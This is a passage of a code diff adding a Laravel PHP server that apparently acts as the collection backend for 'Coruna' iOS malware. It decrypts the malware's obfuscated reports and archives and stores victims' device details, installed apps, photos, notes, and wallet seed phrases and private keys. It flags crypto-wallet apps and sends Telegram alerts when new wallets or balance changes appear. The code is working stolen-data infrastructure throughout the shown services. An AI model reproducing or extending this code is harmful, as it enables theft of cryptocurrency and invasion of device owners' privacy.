return $this->hasMany(DeviceEvent::class);
|
||||
}
|
||||
|
||||
public function photos(): HasMany
|
||||
{
|
||||
return $this->hasMany(Photo::class);
|
||||
}
|
||||
|
||||
public function notes(): HasMany
|
||||
{
|
||||
return $this->hasMany(Note::class);
|
||||
}
|
||||
|
||||
public function wallets(): HasMany
|
||||
{
|
||||
return $this->hasMany(Wallet::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceApp extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'bundle_id', 'name', 'version', 'is_wallet', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'is_wallet' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DeviceEvent extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'device_key', 'event_name', 'desc', 'context_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'context_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Note extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'title', 'body', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['meta_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['counters_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
// use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use Database\Factories\UserFactory;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
use Illuminate\Notifications\Notifiable;
|
||||
|
||||
class User extends Authenticatable
|
||||
{
|
||||
/** @use HasFactory<UserFactory> */
|
||||
use HasFactory, Notifiable;
|
||||
|
||||
/**
|
||||
* The attributes that are mass assignable.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $fillable = [
|
||||
'name',
|
||||
'email',
|
||||
'password',
|
||||
];
|
||||
|
||||
/**
|
||||
* The attributes that should be hidden for serialization.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $hidden = [
|
||||
'password',
|
||||
'remember_token',
|
||||
];
|
||||
|
||||
/**
|
||||
* Get the attributes that should be cast.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'email_verified_at' => 'datetime',
|
||||
'password' => 'hashed',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
class Wallet extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return ['raw_json' => 'array'];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function addresses(): HasMany
|
||||
{
|
||||
return $this->hasMany(WalletAddress::class);
|
||||
}
|
||||
|
||||
public function setMnemonicAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['mnemonic_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getMnemonicAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['mnemonic_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['mnemonic_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public function setPrivkeyAttribute(?string $value): void
|
||||
{
|
||||
$this->attributes['privkey_enc'] = $value === null || $value === ''
|
||||
? null
|
||||
: Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getPrivkeyAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['privkey_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['privkey_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static function maskSecret(?string $value): string
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
return '—';
|
||||
}
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
if (count($words) >= 12) {
|
||||
return $words[0].' *** '.$words[count($words) - 1];
|
||||
}
|
||||
$len = strlen($value);
|
||||
if ($len <= 8) {
|
||||
return str_repeat('*', $len);
|
||||
}
|
||||
|
||||
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletAddress extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'wallet_id', 'address', 'chain', 'balance',
|
||||
'symbol', 'telegram_notified', 'meta_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'meta_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function wallet(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Wallet::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
namespace App\Providers;
|
||||
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class AppServiceProvider extends ServiceProvider
|
||||
{
|
||||
public function register(): void
|
||||
{
|
||||
$this->app->singleton(CorunaCrypto::class, function () {
|
||||
$override = config('coruna.session_key');
|
||||
|
||||
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
||||
});
|
||||
|
||||
$this->app->singleton(CorunaArchive::class, function ($app) {
|
||||
return new CorunaArchive(
|
||||
$app->make(CorunaCrypto::class),
|
||||
(string) config('coruna.seven_zip', '/opt/homebrew/opt/p7zip/bin/7z'),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Repair Coruna obfuscated 7z headers and extract with p7zip.
|
||||
*/
|
||||
class CorunaArchive
|
||||
{
|
||||
private const STANDARD_PREFIX = "7z\xBC\xAF'\x1C";
|
||||
|
||||
private const HEADER_XOR = 0x1234567800ABCDEF;
|
||||
|
||||
private const HEADER_MARKER_1 = 0x000A000900010804;
|
||||
|
||||
private const HEADER_MARKER_2 = 0x009812000B0F0D0C;
|
||||
|
||||
public function __construct(
|
||||
private readonly CorunaCrypto $crypto,
|
||||
private readonly string $sevenZip = '/opt/homebrew/opt/p7zip/bin/7z',
|
||||
) {}
|
||||
|
||||
public function isCorunaHeader(string $data): bool
|
||||
{
|
||||
if (strlen($data) < 32) {
|
||||
return false;
|
||||
}
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return false;
|
||||
}
|
||||
$m1 = unpack('P', substr($data, 16, 8))[1];
|
||||
$m2 = unpack('P', substr($data, 24, 8))[1];
|
||||
|
||||
return $m1 === self::HEADER_MARKER_1 && $m2 === self::HEADER_MARKER_2;
|
||||
}
|
||||
|
||||
public function repairHeader(string $data): string
|
||||
{
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return $data;
|
||||
}
|
||||
if (strlen($data) < 33 || ! $this->isCorunaHeader($data)) {
|
||||
throw new RuntimeException('not a Coruna header-obfuscated 7z archive');
|
||||
}
|
||||
|
||||
$nextHeaderOffset = unpack('P', substr($data, 0, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderSize = unpack('P', substr($data, 8, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderStart = 32 + $nextHeaderOffset;
|
||||
$nextHeaderEnd = $nextHeaderStart + $nextHeaderSize;
|
||||
if ($nextHeaderSize === 0 || $nextHeaderEnd > strlen($data)) {
|
||||
throw new RuntimeException('invalid Coruna 7z bounds');
|
||||
}
|
||||
|
||||
$repaired = $data;
|
||||
$repaired = substr_replace($repaired, self::STANDARD_PREFIX."\x00\x04", 0, 8);
|
||||
$repaired = substr_replace($repaired, pack('P', $nextHeaderOffset), 12, 8);
|
||||
$repaired = substr_replace($repaired, pack('P', $nextHeaderSize), 20, 8);
|
||||
$nextCrc = crc32(substr($repaired, $nextHeaderStart, $nextHeaderSize)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $nextCrc), 28, 4);
|
||||
$startCrc = crc32(substr($repaired, 12, 20)) & 0xFFFFFFFF;
|
||||
$repaired = substr_replace($repaired, pack('V', $startCrc), 8, 4);
|
||||
|
||||
return $repaired;
|
||||
}
|
||||
|
||||
public function extract(string $wireData, string $destDir, string $batchBase = '0'): array
|
||||
{
|
||||
if (! is_dir($destDir)) {
|
||||
mkdir($destDir, 0755, true);
|
||||
}
|
||||
|
||||
try {
|
||||
$repaired = $this->repairHeader($wireData);
|
||||
} catch (\Throwable $e) {
|
||||
$repaired = $wireData;
|
||||
}
|
||||
|
||||
$archive = $destDir.'/capture.7z';
|
||||
file_put_contents($archive, $repaired);
|
||||
file_put_contents($destDir.'/wire.bin', $wireData);
|
||||
$password = $this->crypto->archivePassword($batchBase);
|
||||
$membersDir = $destDir.'/members';
|
||||
@mkdir($membersDir, 0755, true);
|
||||
|
||||
$bin = is_executable($this->sevenZip) ? $this->sevenZip : '7z';
|
||||
$result = Process::timeout(120)->run([
|
||||
$bin, 'x', '-y',
|
||||
'-p'.$password,
|
||||
'-o'.$membersDir,
|
||||
$archive,
|
||||
]);
|
||||
|
||||
$files = [];
|
||||
if (is_dir($membersDir)) {
|
||||
$it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator(
|
||||
$membersDir,
|
||||
\FilesystemIterator::SKIP_DOTS
|
||||
));
|
||||
foreach ($it as $file) {
|
||||
if ($file->isFile()) {
|
||||
$files[] = $file->getPathname();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'ok' => $result->successful() && count($files) > 0,
|
||||
'stderr' => $result->errorOutput(),
|
||||
'files' => $files,
|
||||
'password_recipe' => 'session_key||'.$batchBase,
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Coruna reporting transport crypto (ParamsModel / TTNetwork).
|
||||
*
|
||||
* body = Base64(AES-256-ECB-PKCS7(SHA256(session_key||timestamp), timestamp||payload))
|
||||
*/
|
||||
class CorunaCrypto
|
||||
{
|
||||
private const KEY_STATE_HEX =
|
||||
'f2e61e583b65753af05b8f6ec65a681fcc6f93d20cca9153ed13133c6c291565';
|
||||
|
||||
private const AES_SBOX_HEX =
|
||||
'637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0'
|
||||
.'b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275'
|
||||
.'09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf'
|
||||
.'d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2'
|
||||
.'cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb'
|
||||
.'e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08'
|
||||
.'ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e'
|
||||
.'e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16';
|
||||
|
||||
private string $sessionKey;
|
||||
|
||||
private string $sbox;
|
||||
|
||||
public function __construct(?string $sessionKey = null)
|
||||
{
|
||||
$this->sbox = hex2bin(self::AES_SBOX_HEX);
|
||||
$this->sessionKey = $sessionKey ?? $this->deriveSessionKey(0);
|
||||
if (strlen($this->sessionKey) !== 16) {
|
||||
throw new RuntimeException('session key must be 16 bytes');
|
||||
}
|
||||
}
|
||||
|
||||
public function sessionKey(): string
|
||||
{
|
||||
return $this->sessionKey;
|
||||
}
|
||||
|
||||
public function deriveArchivePassword(int $seed = 0): string
|
||||
{
|
||||
$mask = 0xFFFFFFFF;
|
||||
$state = hex2bin(self::KEY_STATE_HEX);
|
||||
$words = array_values(unpack('V8', $state));
|
||||
|
||||
if ($seed !== 0) {
|
||||
$counter = -35;
|
||||
$accumulator = $seed & $mask;
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$rotated = $this->ror32($seed, -38 - $counter);
|
||||
$words[$index] = ($accumulator + ($words[$index] ^ $rotated)) & $mask;
|
||||
if ($counter === 0) {
|
||||
break;
|
||||
}
|
||||
$counter += 5;
|
||||
$accumulator = ($accumulator + $seed) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
for ($roundIndex = 0; $roundIndex < 12; $roundIndex++) {
|
||||
$roundNumber = $roundIndex + 1;
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16 — uint64 via BCMath
|
||||
$roundValue = $this->mulU64Shift16($roundNumber);
|
||||
for ($index = 0; $index < 8; $index++) {
|
||||
$value = $words[$index];
|
||||
$value =
|
||||
ord($this->sbox[$value & 0xFF])
|
||||
| (ord($this->sbox[($value >> 8) & 0xFF]) << 8)
|
||||
| (ord($this->sbox[($value >> 16) & 0xFF]) << 16)
|
||||
| (ord($this->sbox[($value >> 24) & 0xFF]) << 24);
|
||||
$value = $this->ror32($value, -$words[($index + 1) & 7]);
|
||||
$value ^= $this->ror32($words[($index + 3) & 7], 13);
|
||||
$value = ($value + $roundValue) & $mask;
|
||||
$words[$index] = $value;
|
||||
if ($index & 1) {
|
||||
$words[$index] = (
|
||||
$this->ror32($words[$index - 1], -($value & 0xF)) ^ $value
|
||||
) & $mask;
|
||||
}
|
||||
}
|
||||
if ($roundIndex === 5) {
|
||||
$words[2] ^= 0x7BD6C6C8;
|
||||
$words[5] ^= 0x5ECAF26A;
|
||||
} elseif ($roundIndex === 9) {
|
||||
$previousZero = $words[0];
|
||||
$words[0] = ($words[7] ^ $this->ror32($previousZero, 25)) & $mask;
|
||||
$words[3] = ($words[3] + ($words[4] ^ 0xDEADBEEF)) & $mask;
|
||||
}
|
||||
}
|
||||
|
||||
$packed = pack('V8', ...$words);
|
||||
$folded = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$folded .= chr(ord($packed[$i]) ^ ord($packed[$i + 16]));
|
||||
}
|
||||
$derived = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$derived .= $this->sbox[(ord($folded[$i]) + $i) & 0xFF];
|
||||
}
|
||||
|
||||
return bin2hex($derived);
|
||||
}
|
||||
|
||||
public function deriveSessionKey(int $seed = 0): string
|
||||
{
|
||||
$raw = hex2bin($this->deriveArchivePassword($seed));
|
||||
$out = '';
|
||||
for ($i = 0; $i < strlen($raw); $i++) {
|
||||
$out .= chr((ord($raw[$i]) % 94) + 33);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function decryptJsonBody(string $ciphertext, string $timestamp): mixed
|
||||
{
|
||||
$this->assertTimestamp($timestamp);
|
||||
$encrypted = base64_decode($ciphertext, true);
|
||||
if ($encrypted === false) {
|
||||
$decoded = json_decode($ciphertext, true);
|
||||
if (is_string($decoded)) {
|
||||
$encrypted = base64_decode($decoded, true);
|
||||
}
|
||||
}
|
||||
if ($encrypted === false || $encrypted === '') {
|
||||
throw new RuntimeException('invalid base64 body');
|
||||
}
|
||||
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$padded = openssl_decrypt($encrypted, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($padded === false) {
|
||||
throw new RuntimeException('AES decrypt failed');
|
||||
}
|
||||
$plaintext = $this->pkcs7Unpad($padded);
|
||||
$prefix = $timestamp;
|
||||
if (! str_starts_with($plaintext, $prefix)) {
|
||||
throw new RuntimeException('timestamp prefix mismatch');
|
||||
}
|
||||
$json = substr($plaintext, strlen($prefix));
|
||||
if ($json === 'null') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return json_decode($json, true, 512, JSON_THROW_ON_ERROR);
|
||||
}
|
||||
|
||||
public function encryptPayload(string $payload, ?string $timestamp = null): array
|
||||
{
|
||||
$timestamp ??= (string) (int) round(microtime(true) * 1000);
|
||||
$this->assertTimestamp($timestamp);
|
||||
$key = hash('sha256', $this->sessionKey.$timestamp, true);
|
||||
$plain = $timestamp.$payload;
|
||||
$padded = $this->pkcs7Pad($plain);
|
||||
$encrypted = openssl_encrypt($padded, 'AES-256-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
|
||||
if ($encrypted === false) {
|
||||
throw new RuntimeException('AES encrypt failed');
|
||||
}
|
||||
|
||||
return [
|
||||
'timestamp' => $timestamp,
|
||||
'body' => base64_encode($encrypted),
|
||||
];
|
||||
}
|
||||
|
||||
public function encryptJson(mixed $data, ?string $timestamp = null): array
|
||||
{
|
||||
if ($data === null) {
|
||||
$payload = 'null';
|
||||
} else {
|
||||
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return $this->encryptPayload($payload, $timestamp);
|
||||
}
|
||||
|
||||
public function archivePassword(string $batchBaseTimestamp = '0'): string
|
||||
{
|
||||
return $this->sessionKey.$batchBaseTimestamp;
|
||||
}
|
||||
|
||||
private function assertTimestamp(string $timestamp): void
|
||||
{
|
||||
if (! preg_match('/^\d{13}$/', $timestamp)) {
|
||||
throw new RuntimeException('timestamp must be 13 digits');
|
||||
}
|
||||
}
|
||||
|
||||
private function pkcs7Pad(string $data): string
|
||||
{
|
||||
$pad = 16 - (strlen($data) % 16);
|
||||
|
||||
return $data.str_repeat(chr($pad), $pad);
|
||||
}
|
||||
|
||||
private function pkcs7Unpad(string $data): string
|
||||
{
|
||||
$len = strlen($data);
|
||||
if ($len === 0 || ($len % 16) !== 0) {
|
||||
throw new RuntimeException('invalid ciphertext length');
|
||||
}
|
||||
$pad = ord($data[$len - 1]);
|
||||
if ($pad < 1 || $pad > 16 || substr($data, -$pad) !== str_repeat(chr($pad), $pad)) {
|
||||
throw new RuntimeException('invalid PKCS#7 padding');
|
||||
}
|
||||
|
||||
return substr($data, 0, -$pad);
|
||||
}
|
||||
|
||||
private function mulU64Shift16(int $roundNumber): int
|
||||
{
|
||||
// ((n * 0xAC534878DC48202A) & 0xFFFFFFFFFFFFFFFF) >> 16
|
||||
$product = gmp_mul((string) $roundNumber, '0xAC534878DC48202A');
|
||||
$masked = gmp_and($product, '0xFFFFFFFFFFFFFFFF');
|
||||
$shifted = gmp_div_q($masked, 65536);
|
||||
|
||||
return (int) gmp_intval($shifted);
|
||||
}
|
||||
|
||||
private function ror32(int $value, int $amount): int
|
||||
{
|
||||
$value &= 0xFFFFFFFF;
|
||||
$amount &= 31;
|
||||
if ($amount === 0) {
|
||||
return $value;
|
||||
}
|
||||
|
||||
return (($value >> $amount) | (($value << (32 - $amount)) & 0xFFFFFFFF)) & 0xFFFFFFFF;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,356 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\WalletAddress;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
* Other fields will be added when confirmed in live traffic.
|
||||
*/
|
||||
public function extractDeviceKey(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['d', 'f'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return substr($payload[$key], 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
$attrs = [
|
||||
'ip' => $request->ip(),
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
if ($deviceModel !== null) {
|
||||
$attrs['device_model'] = $deviceModel;
|
||||
} elseif ($existing) {
|
||||
$attrs['device_model'] = $existing->device_model;
|
||||
}
|
||||
if ($ios !== null) {
|
||||
$attrs['ios_version'] = $ios;
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
|
||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
|
||||
/**
|
||||
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
||||
*/
|
||||
public function ingestInstalledApps(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
||||
*/
|
||||
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
||||
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
||||
if ($eventName === null && $desc === null) {
|
||||
return;
|
||||
}
|
||||
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
||||
$contextJson = null;
|
||||
if (is_array($ctx)) {
|
||||
$contextJson = $ctx;
|
||||
} elseif ($ctx !== null) {
|
||||
$contextJson = ['value' => $ctx];
|
||||
}
|
||||
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'event_name' => is_string($eventName) ? $eventName : null,
|
||||
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
||||
'context_json' => $contextJson,
|
||||
]);
|
||||
}
|
||||
|
||||
public function ingestWalletSecrets(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$mnemonic = null;
|
||||
$priv = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
|
||||
$mnemonic = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
$priv = $payload[$key];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($mnemonic === null && $priv === null) {
|
||||
if (isset($payload['result']) || isset($payload['data'])) {
|
||||
Wallet::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
$wallet = new Wallet([
|
||||
'device_id' => $device->id,
|
||||
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
|
||||
'raw_json' => $payload,
|
||||
]);
|
||||
$wallet->mnemonic = $mnemonic;
|
||||
$wallet->privkey = $priv;
|
||||
$wallet->save();
|
||||
}
|
||||
|
||||
public function ingestAddresses(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$rows = [];
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['data']);
|
||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['result']);
|
||||
} else {
|
||||
$rows = $this->normalizeAddressRows($payload);
|
||||
}
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$address = $row['address'] ?? null;
|
||||
if (! $address || ! is_string($address)) {
|
||||
continue;
|
||||
}
|
||||
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
|
||||
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
|
||||
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('chain', $chain)
|
||||
->first();
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
|
||||
[
|
||||
'balance' => $balance,
|
||||
'symbol' => $symbol,
|
||||
'meta_json' => $row,
|
||||
]
|
||||
);
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
$addr->telegram_notified = true;
|
||||
$addr->save();
|
||||
} elseif ($balance !== null && $existing->balance !== $balance) {
|
||||
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
